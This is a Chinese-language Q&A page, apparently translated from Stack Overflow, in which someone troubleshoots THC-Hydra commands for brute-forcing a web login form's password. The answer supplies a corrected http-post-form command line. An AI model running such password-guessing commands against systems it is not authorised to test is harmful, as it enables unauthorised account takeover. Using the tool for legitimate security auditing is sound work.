如何使用Thc-hydra查找html表单的用户名和密码?

时间:2016-08-10 07:01:15

标签: security html-form-post hydra

我的登录页面的网址是119.xx.xxx.xxx:8080/webpage/

当我在浏览器中输入此网址转到登录页面时,我会看到此请求标头GET /webpage/ HTTP/1.1

登录表单的操作属性中的网址为/webpage/login/loginCheck

在Thc-hydra中我给出了这个命令hydra -t 1 -V -f -l user1234 -P pass.txt 119.xx.xxx.xxx http-post-form "/webpage/login/loginCheck:userId=^USER^&password=^PASS^:F=Login page"

但结果显示Child with pid 1234 terminating, cannot connect

当我尝试此命令hydra -t 1 -V -f -l user1234 -P pass.txt 119.xx.xxx.xxx:8080/webpage/ http-post-form "/login/loginCheck:userId=^USER^&password=^PASS^:F=Login page"时,我收到错误network size may only be between /16 and /31: 119.xx.xxx.xxx:8080/webpage/

我在哪里弄错了?我该如何解决这个问题?

1 个答案:

答案 0 :(得分:0)

如上所述,第一个示例没有端口号,第二个示例包含不同URL路径格式的混合。

我会尝试这种格式

hydra -t 1 -V -f -l user1234 -P pass.txt "http-post-form://192.168.1.2:8080/login/loginCheck:userId=^USER^&password=^PASS^:F=Login page"